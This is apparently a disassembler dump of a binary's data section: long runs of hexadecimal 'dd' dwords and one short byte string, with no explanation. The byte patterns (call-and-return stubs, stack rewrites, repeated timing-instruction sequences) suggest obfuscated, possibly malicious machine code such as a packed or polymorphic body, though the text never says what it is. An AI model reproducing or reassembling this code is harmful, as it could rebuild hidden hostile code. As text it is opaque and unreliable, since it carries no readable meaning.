0BFA4B4B5h, 499D89ACh, 6805E903h, 1A829957h dd 3481F3B7h, 9D9AA824h, 6D95891Ah, 8D05E919h, 0ECBACE85h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 53E3DF2Dh, 0FFBB66BFh, 14E99067h, 0FB000000h dd 528D22C8h, 9946EA2Eh, 1B17005Bh, 2430F0C9h, 50D4B6F8h dd 0F525053h, 5A616031h, 0F905F58h, 95FFD8B7h, 5E9292Dh dd 5FDA8B51h, 50006A61h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 77010787h, 163D85C7h, 305E9h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0FDC756C3h, 1EBCBF66h, 7F1EDB81h, 0BD834C32h, 5ECBACEh dd 27840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 4E11C350h, 0E2CD433Bh dd 1BE9D6h, 30500000h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 14B261F5h, 385E1235h dd 0BF0F9097h, 95BD0BD9h, 8305E925h, 0E9163DBDh, 850F0305h dd 404h, 0BD83D88Ah, 5ECBACEh, 0F5840F00h, 6A000003h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0D88C351h, 15C9267Fh, 0DC6535F9h, 1BD8BF5h, 0FF05E91Fh dd 0ECBACEB5h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0FFA1ABC7h, 0E92B7595h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 59CEDE92h, 7711F1FAh, 0C2B58BCFh, 6605ECBAh dd 0DE62CF81h, 106C7h, 0BD030001h, 5E92EA9h, 4890F96h dd 66000000h, 5077F9BBh, 0DE996h, 0DD850000h, 712CBCAAh dd 0A9A173C1h, 29A09DDAh, 0E92B398Dh, 0CEB5FF05h, 0F05ECBAh dd 28Fh, 0FFFB8B00h, 0E92B4D95h, 45BD2905h, 8105E932h dd 878CA6C3h, 0C2B58B3Ah, 6A05ECBAh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0DB11C351h dd 0FDD858Bh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0D8A93FC3h, 8BF7CD76h, 0E907FDBDh dd 0C4868905h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 2E88C352h, 0B1A956E0h dd 8167F41Dh, 0C42504CBh, 219D8B35h, 8B05E905h, 0E9265595h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 5E42BFDAh, 0A9F78166h, 4C283FCh, 41F38056h dd 2050895Fh, 499FBB66h, 0D055858Dh, 6A05ECh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0E172CDC3h dd 8155BF63h, 0C9BD71D3h, 0B886892Bh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0BF50C352h, 6A006AB8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 5BD1C355h, 0C2E5E8D8h dd 0FA6C04Ah, 68Fh, 9DB52900h, 0FF05E906h, 0ECBACEB5h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0B5895066h, 5E90C81h, 0AD95FFh, 0C38105E9h dd 5389CE4Fh, 0CAABF50h, 34895C7Ah, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 9E97C623h dd 853195C2h, 5E90F31h, 0BACEB5FFh, 816605ECh, 0FFD9EAF7h dd 0E9323195h, 5CF38105h, 83378EB1h, 0E92AB1BDh, 840F0005h dd 52h, 2295BD8Bh, 0F9605E9h, 0C81h, 7E900h, 86770000h dd 2148896Bh, 52505026h, 0B82ABF66h, 0BB66310Fh, 585A9424h dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 5E9764Ch, 0F3000000h, 4D50CAB4h, 0B5FFD88Bh dd 5ECBACEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 7C35646h, 16F884B3h, 48B0F8Ah, 66000000h, 0FF32CABFh dd 0E92F6195h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 6DCDE4C1h, 0BBD3C657h dd 0B19C36Fh, 0BACEB5FFh, 6A05ECh, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 14E9C0C3h, 0AE000000h dd 0DEDF0BCh, 0D92B592h, 0F7972591h, 776A2ED2h, 0FFD8B5Eh dd 95FFDAB7h, 5E92DC5h, 3FDBD83h, 0F0205E9h, 2484h, 0EEC38100h dd 8B07DA09h, 0E9305585h, 10E905h, 0E2420000h, 0B3A438C5h dd 0B86F49F3h, 0E31C44C0h, 0C6A2BEh, 0A985C700h, 5E927h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0DBBCC351h, 450B3DCAh, 0D5CBDF45h dd 0FFF33BE9h, 14E8FFh, 4C0D0000h, 14F0384h, 290271EFh dd 330D7494h, 5BB98AB4h, 11BFFDE0h, 5B5285B9h, 6AC18BF9h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 2994C357h, 9ED1E46h, 0E91D69B5h, 0DFB70F05h dd 0BE9h, 43975100h, 0B3A32609h, 870BE740h, 21E5858Dh dd 0BD8B05E9h, 5E92B49h, 24048950h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 0C5C35040h, 0D88B006Ah, 0BD8B006Ah dd 5E91E11h, 0B86B858Dh, 6A05EDh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 7F6E4C3h, 4A5C3506h dd 1CD19D8Bh, 816605E9h, 8369DDDFh, 6A05C0h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0DC071CC3h dd 0CD07C3AEh, 50D98B90h, 0F59043B3h, 8B66006Ah, 0B58956DAh dd 5E910F1h, 6A006A5Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0DB5DC352h, 8D0FD98Bh dd 2, 95FFFA8Bh, 5E90AA1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 83C35646h, 0AE91B490h, 0ADBF8D8Dh, 6A05ECh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 581F22C3h, 0FF6DA5EDh, 12E9h, 5F9B7700h, 0F8176773h dd 0E3B63133h, 9EEA1618h, 0FFAAA83Fh, 0DE9D1h, 87370000h dd 5A769BFh, 0D144A311h, 0E9D8BDA7h, 14h, 40BC1E47h, 54944956h dd 5B48531Eh, 0B0FB5C1h, 0F48E5BEFh, 1BDBD83h, 0F0105E9h dd 0C785h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h dd 0C3514100h, 81BB64E9h, 0DAB38EDFh, 7DB58928h, 6A05E910h dd 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 4A1289C5h, 0BD8BFE30h, 5E9050Dh, 0DA8B6690h dd 66605750h, 8B5AB8BAh, 905F61F3h, 7E8h, 0B6D62600h, 9A91082Ah dd 665BDD8Ah, 7A35F381h, 0AD95FFh, 6A05E9h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 941F4EC3h dd 0AE852h, 0C01D0000h, 0FB94F673h, 0BC477DBFh, 0EE8h dd 4864A800h, 0CEF08732h, 39130CDBh, 2980C381h, 0E900859Dh dd 0F55B5F05h, 0D85E9h, 0E800h, 815D0000h, 0EDB875EDh dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0BD0001C6h, 3109B509h, 9D8905E9h, 5E932C1h dd 18E19D8Bh, 858D05E9h, 5EC904Bh, 0CE5BD8Bh, 509005E9h dd 0CE8h, 0FC0A900h, 0ECBC26Ch, 63F092B6h, 0CE9FCh, 0A4AE0000h dd 14BCB2D9h, 0DB639D6Fh, 905B2D43h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 2BC35040h, 0CACD9B7Dh, 0BDBDEAFFh dd 35FF64E6h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 40C35545h dd 54944956h, 27F38166h, 9EF81CCh, 640DDBCEh, 2589h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 4A488CC3h, 7B22B6DEh, 5E9h, 6A108200h, 85FF9CF9h, 5E90689h dd 18D9D89h, 0FF6A05E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0ECC35545h, 0B698589h, 0B5FF05E9h, 5E903F5h dd 18319D8Bh, 95FF05E9h, 5E907C9h, 0EFE9h, 0F7816600h dd 0B07A42h, 800Fh, 70E60000h, 24B98D09h, 71E405E9h, 7E8h dd 8AA3AF00h, 0E4AC205Eh, 205BD8Bh, 3C5B05E9h, 0BD830F61h dd 8B000000h, 0C8B60FDEh, 3A99D8Bh, 6BA05E9h, 31000000h dd 0E91DE58Dh, 51C18B05h, 21F99D89h, 0C15B05E9h, 9D8B04E8h dd 5E90785h, 2BE2F766h, 319589C8h, 8B05E90Dh, 0D8BF0FD1h dd 7FE9h, 0B59D0B00h, 8B05E932h, 885h, 0FDBD0100h, 8305E91Dh dd 9D8B07C0h, 5E91EF5h, 8B00C083h, 0E90331BDh, 0FD03B05h dd 1D83h, 0BA666000h, 958B24D0h, 5E90B55h, 42E961h, 840F0000h dd 6, 2C1DBD8Bh, 8D8B05E9h, 0FFFFFFFFh, 0D7AFBB66h, 0F01E183h dd 2384h, 68E38100h, 83375C6Fh, 0FFFFFFA5h, 0BD8BFEFFh dd 5E905B1h, 89589h, 81660000h, 0E91305F7h, 0 dd 37A9B58Dh, 6A05EDh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0D863ACC3h, 0E88350E0h, 89A1A9E6h dd 0E912219Dh, 6A006A05h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0A68CC355h, 419D8B7Eh dd 8B05E900h, 0E92FDDBDh, 9595FF05h, 6A05E91Eh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0A99C357h, 0BF6649DDh, 9AB9BAB2h, 6A000010h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8316C355h, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 45C5C1C3h, 0F381665Fh, 33FC8DB5h dd 0E9070D9Dh, 66C02B05h, 0E9F228BFh, 0Eh, 2C9ED988h, 88E2D7FBh dd 0FA3E268h, 0D22B4489h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 49C35747h dd 0F0DACA66h, 0B550C2BBh, 8D8960FCh, 5E93269h, 12E8h dd 257DA500h, 0D8094D0Bh, 3CDF60D6h, 0D318D640h, 0F8D2F53h dd 83h, 0F615900h, 880DFFBFh, 0E9000000h, 0Dh, 7D42EC05h dd 3CBC1AECh, 56DAA80Fh, 55958B23h, 8B05E926h, 0E91DC99Dh dd 58D8B05h, 8905E908h, 0E926459Dh, 0C28B5005h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 83F195BBh, 0E91CF1BDh dd 840F0005h, 42h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0C8C35141h, 0CFB9A621h, 8B66B095h, 0B8FBh dd 7EBF0000h, 8D7C90C4h, 0E94E6D8Dh, 8C1ABB05h, 0E1FF61A5h dd 0B49B529h, 0BD8305E9h, 5E9163Dh, 0A6840F00h, 0E9000004h dd 8, 7F6E414h, 4A5C3506h, 163DBD83h, 0F0105E9h, 4A784h dd 0C9BD8B00h, 8B05E90Ah, 0E901CDBDh, 3DBD8305h, 305E916h dd 458860Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 79D298C3h, 6067C5BBh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0FEC35040h, 7AB4E3F2h dd 0D98C66F8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0E2C35141h, 63C8C283h, 8D297694h, 5E910A5h, 6A04E180h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0E44DC351h, 0A5852949h, 0A05E917h, 34840FC9h dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 9C3CC355h, 8B66A5AAh, 69858BFBh dd 8905E928h, 0E90EAD95h, 61853305h, 6605E90Eh, 5250FE8Bh dd 0BE860h, 8690000h, 7C0449E6h, 0EB43999Eh, 52505FFAh dd 585A310Fh, 4895B61h, 0ADB52924h, 6A05E91Dh, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 775E0B40h, 4D55E2F2h, 7E8h, 87F21A00h, 9690F530h, 32D59D03h dd 685F05E9h, 2E12DE99h, 5E960h, 58F40000h, 51DABB28h dd 3481615Bh, 0DDD6624h, 65BD8B2Eh, 0FF05E91Eh, 0E9292D95h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0FB67C770h, 9226C680h, 0CE858900h, 6A05ECBAh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 666AC352h, 23BCE781h, 23EE9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 2118A43Fh, 0DA220FD6h, 0F5BD89D8h, 8B05E929h, 0ECBAC685h dd 0B48EBB05h, 0C7645Eh, 18h, 103E780h, 0E91E6DB5h, 0CAB58B05h dd 8B05ECBAh, 0E92F3985h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 11E9D173h dd 0F2000000h, 58317D19h, 0A096F0BFh, 0BD2C8806h, 0E85CB3DFh dd 81660689h, 8BD8BCCBh, 0E9286985h, 0EE905h, 13780000h dd 40719D45h, 0F9B438B5h, 0BEFDC2F6h, 6A044689h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 9047C352h, 1F8F5A8h, 8A0F6096h, 2, 12E85857h, 6E000000h dd 5301CB7Bh, 47C031F5h, 0FC93AB49h, 0CD776FCEh, 0CF8B666Eh dd 60506158h, 52D78B66h, 59FE8B66h, 6A9661h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 43EB4AC3h dd 97990A3Dh, 662EBFFBh, 0B5FF50FBh, 5ECBAC6h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 6BC35747h, 0DA0239Bh dd 10E969A7h, 42000000h, 0A418932h, 4894CD95h, 935E0FC2h dd 0E8BBFF21h, 4, 1F03FFh, 10E8h, 0DC2E6C00h, 1021CA87h dd 0BA936933h, 18FB1F3Bh, 525060BEh, 585A310Fh, 5F615E56h dd 0BE950h, 0A40B0000h, 7A6346E4h, 5E53D14h, 24448BD7h dd 66008B04h, 4489DA8Bh, 0E3BB0424h, 5816F5D3h, 6880Fh dd 0BD0B0000h, 5E90359h, 0BACE858Dh, 6A05ECh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 39B039C3h dd 669039B0h, 50D64ABBh, 8B665250h, 0E9310FF8h, 7, 20C6128Dh dd 5A89FC44h, 8B669058h, 2D95FFDEh, 6A05E929h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0B456C357h, 11E8418Fh, 0B6000000h, 0A02E48D0h, 2444882Eh dd 9ACDEB5Ch, 0D97A06A2h, 4BC8CB81h, 615F33F0h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 16C35141h, 34B69891h dd 718D299Ch, 0C705E925h, 0E9163D85h, 305h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0A841B74Bh, 0BF0FF9CCh, 0CEBD83FEh, 5ECBAh, 10840Fh dd 0BD8B0000h, 5E900C5h, 0E9DEBF0Fh, 1Dh, 305095B7h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 99D89C0h dd 8305E929h, 0E9163DBDh, 850F0305h, 43Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 37C35747h, 0BD836633h dd 5ECBACEh, 14840F00h, 0F000004h, 681h, 0D9BD8B00h, 8905E92Dh dd 0E922D1BDh, 0CEB5FF05h, 6605ECBAh, 6A53F381h, 5F1BD8Bh dd 95FF05E9h, 5E92B75h, 0BE9h, 46842100h, 0F0404683h, 48013E21h dd 0BAC2B58Bh, 6A05ECh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 8B6694C3h, 106C7F8h, 6A000100h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0C7D3C356h, 0A9697910h, 0F96F9D2h, 81h, 6A965000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0C254C352h, 9CDD2FA3h, 0FF069375h, 0ECBACEB5h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0FFF832A9h, 0E92B4D95h, 3D950105h, 8B05E90Eh dd 0ECBAC2B5h, 219D8905h, 8B05E92Eh, 0E90FDD85h, 0AD958905h dd 8905E906h, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 38396885h, 12E8EDA8h dd 14000000h, 698B8A5Eh, 0BF8F72FBh, 49D03DA1h, 0E690A55Eh dd 10EB8141h, 5B276F79h, 2655958Bh, 6A05E9h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 28F816C3h dd 82599BBBh, 83FB8B15h, 9D8B04C2h, 5E91621h, 6A205089h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0A61EC356h, 12659D8Bh, 858D05E9h, 5ECD055h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 4C35242h dd 729CA443h, 0E9F85CFAh, 9, 46F2F346h, 0ABD5B1D1h, 0B886891Fh dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0A48AC350h, 6AE185h, 0C59D8960h dd 0B05E90Dh, 0E90E31B5h, 0B5FF6105h, 5ECBACEh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C8C35343h, 20E1714Ch dd 0AD95FF49h, 8905E900h, 0E90CC5BDh, 11E85005h, 5C000000h dd 0B311F533h, 5173716Eh, 815DBD4Ah, 7D20953Fh, 5E49FFBBh dd 34895F63h, 6D8D2924h, 8B05E90Fh, 0E9071D9Dh, 0CEB5FF05h dd 6A05ECBAh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0A397C355h, 0FB8B96F2h, 16019531h dd 95FF05E9h, 5E93231h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0E0C35747h, 0C731727Dh, 0BD8D892Eh, 8305E92Dh dd 0E92AB1BDh, 840F0005h, 3Dh, 2F4DBD89h, 0E99605E9h, 0Fh dd 2914F6F3h, 0BAC7CDC6h, 8D62A347h, 5020C612h, 9E95250h dd 8A000000h, 75D8BE59h, 26FEE6E7h, 5060310Fh, 5A310F52h dd 615F5758h, 8B96585Ah, 0CEB5FFF9h, 6A05ECBAh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 7F6FC357h, 6195FF28h, 8B05E92Fh, 0E92A01BDh, 0DF816605h dd 0B5FF4B4Ch, 5ECBACEh, 6890Fh, 0CF810000h, 6868A37h dd 4A19D29h, 95FF05E9h, 5E92DC5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 96C35242h, 0B658C2F3h, 0A9BD8BF4h dd 8305E907h, 0E903FDBDh, 840F0205h, 5Ch, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ah, 5CC35040h, 86EDCB37h dd 858B46A1h, 5E93055h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 47C35242h, 0DFBF8D11h, 37ACE145h, 3810Fh dd 8B660000h, 0FCC780FBh, 0F90000C6h, 27A985C7h, 5E9h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0E9BD69C3h, 0FFFFF3B6h, 6AC18Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0F92971C3h, 0FBE9F991h, 6859D23h, 850F05E9h, 6, 0DC19D8Bh dd 858D05E9h, 5E921E5h, 32CDBD8Bh, 509005E9h, 60605250h dd 61D1B761h, 0B3BF310Fh, 5A539D4Bh, 6A9058h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 4BC35242h, 1E9D40C9h dd 0B59998BAh, 8529DA8Bh, 5E917D1h, 9D89006Ah, 5E927F1h dd 0C7C2858Dh, 83F505EDh, 0BD8905C0h, 5E930C9h, 8B525050h dd 0F310FFEh, 681h, 0F525000h, 5A585A31h, 24048958h, 6E8h dd 93592900h, 95E3A6Ah, 0E92B6D9Dh, 6A5F05h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 39C35545h, 0D496FC7Bh dd 6800FB2h, 8B000000h, 0E905419Dh, 0FC006A05h, 0AA195FFh dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0B02CBC3h, 2D31BD89h, 8D8D05E9h, 5ECADBFh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 49C35141h dd 3527C051h, 0FA94E743h, 0F18D29EEh, 0FF05E915h, 56006AD1h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 89967BEBh, 71C3C0CDh, 0BF66518Eh, 0BF5BCDADh, 471B8FD9h dd 1BDBD83h, 0F0105E9h, 7285h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0FC0C341h dd 383h, 0D8BF0F00h, 8B66026Ah, 71BD8BD8h, 5005E90Fh, 58B0Fh dd 0C2BB0000h, 8966DEA8h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 8BC4CCC3h, 0E929F5BDh dd 0AD95FF05h, 8905E900h, 0E92F8995h, 0E934B305h, 0CBBh dd 0E8h, 0ED815D00h, 5EDC7CCh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0D6C35040h, 0C6B190A6h, 4694A05h dd 0F3CBCB81h, 6A1C95h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0F1633C3h, 0EB81FEBFh, 339BB2B4h dd 904B858Dh, 9D3105ECh, 5E90625h, 5830F90h, 0BF000000h dd 74F5FC52h, 0E8525050h, 0Bh, 0F9057F42h, 4B44CDC5h, 66D4E2EBh dd 0F5FD88Bh, 11E831h, 884E0000h, 58072864h, 0B2ACE6C5h dd 66F06F71h, 8B6B92F3h, 585A5FDFh, 35FF6490h, 0 aB4Sdi db 'Ó4',9,'¹sd‰%',0 align 10h dd 0DABF0F00h, 68985FFh, 6A05E9h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0B34B6CC3h, 0B5FFFF6Ah dd 5E90055h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0A7C35040h, 0A6CD3F69h, 34338DDDh, 0C995FFFBh dd 0E905E907h, 102h, 2A61BD23h, 0B005E9h, 0E6FEBF0Fh, 48A0F70h dd 66000000h, 0E4C6D4BBh, 9DB8171h, 3C52FDFDh, 0DB830F61h dd 33000000h, 0E9109D9Dh, 0C8B60F05h, 2BFD8D09h, 0DF8105E9h dd 6C6A4F04h, 6BAh, 8BDE8A00h, 61BD8BC1h, 0C105E910h, 816604E8h dd 66E23FC3h, 0DB81E2F7h, 2FB4CE2h, 9D8BC82Bh, 5E900B9h dd 9529D18Bh, 5E91911h, 91E9h, 29BD0900h, 8B05E906h, 185h dd 0A1BD8B00h, 8305E90Fh, 0BF6607C0h, 0C0837509h, 5E900h dd 30640000h, 3BBC2688h, 1E830FD0h, 0E8000000h, 0Fh, 0AD29B4Ch dd 7EFEEE58h, 0DB73738h, 5FC25F64h, 49E9h, 0C2BF6600h dd 0FF8D8BCEh, 83FFFFFFh, 840F01E1h, 36h, 13E9F9h, 25460000h dd 8101A986h, 7B5B2AFBh, 7233A3A6h, 476893D7h, 0FFA58361h dd 0FEFFFFFFh, 13D19D8Bh, 958905E9h, 1, 0DEB70F52h, 0E95Bh dd 0B58D0000h, 5ED4843h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 64C35343h, 30D3802Bh, 0CF81006Ah, 0DE41C1Bh dd 228DBD89h, 95FF05E9h, 5E91E95h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0CBC35646h, 0D44D6C90h, 1EE18D29h dd 9FB905E9h, 6A00000Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0B513C355h, 0E913A289h dd 13h, 0BA1337B4h, 0CB9A4CBBh, 243A5846h, 0FF791EFAh dd 0E8A8C983h, 8, 0F63A52E1h, 8FD7DE8Dh, 25958B60h, 0F05E933h dd 87h, 835F6100h, 0F380FCE1h, 6AFC5Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0B84BB0C3h dd 0 dd 17A9B589h, 0D22B05E9h, 0C233ADF9h, 0D003E8D1h, 7504E983h dd 53006AF4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0D4253CB2h, 0F50DA9Bh, 0D5FD8B7h, 88h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0FFC35040h, 28ACE45Ah dd 6F8B00BFh, 1651BD8Bh, 958B05E9h, 5E92655h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 48C35242h, 0DD93BABBh dd 8BDE9B58h, 0E908058Dh, 8B50F505h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 8DBD2B51h, 5B05E912h, 1CF1BD83h dd 0F0005E9h, 7984h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 56BB26Eh, 81AFE01Dh, 2BBF6699h dd 0B809h, 0B5290000h, 5E90C9Dh, 4E6D8D8Dh, 6A05E9h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0E81FB1C3h, 5, 370F11B9h, 4D8D3184h, 5F05E90Dh, 5E9h dd 14CF3200h, 0E1FF95F0h, 7A99589h, 0BD8305E9h, 5E9163Dh dd 0C4840F00h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 870AC352h, 0BD8B4558h dd 5E90811h, 163DBD83h, 0F0105E9h, 3AD84h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 7C3DD53Bh, 143A2881h, 3DBD837Dh, 305E916h, 346860Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 26AABC3h, 699D8B60h, 6605E932h, 6AD98Ch dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0AD77CFC3h, 0B7E9BF22h, 0E1802133h, 55006A04h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 6F8603EDh, 0FC90AFFh, 0EC84h, 13E800h, 0EB8F0000h, 65509256h dd 60886AC9h, 704C9951h, 0B0FEE8ABh, 8B5BF934h, 0E9286985h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0F18C4FD8h, 0D4F58C13h, 0B1E3812Bh, 330FB447h dd 0E90E6185h, 0D98B6605h, 19BF6690h, 52505023h, 5B5F5350h dd 585A310Fh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 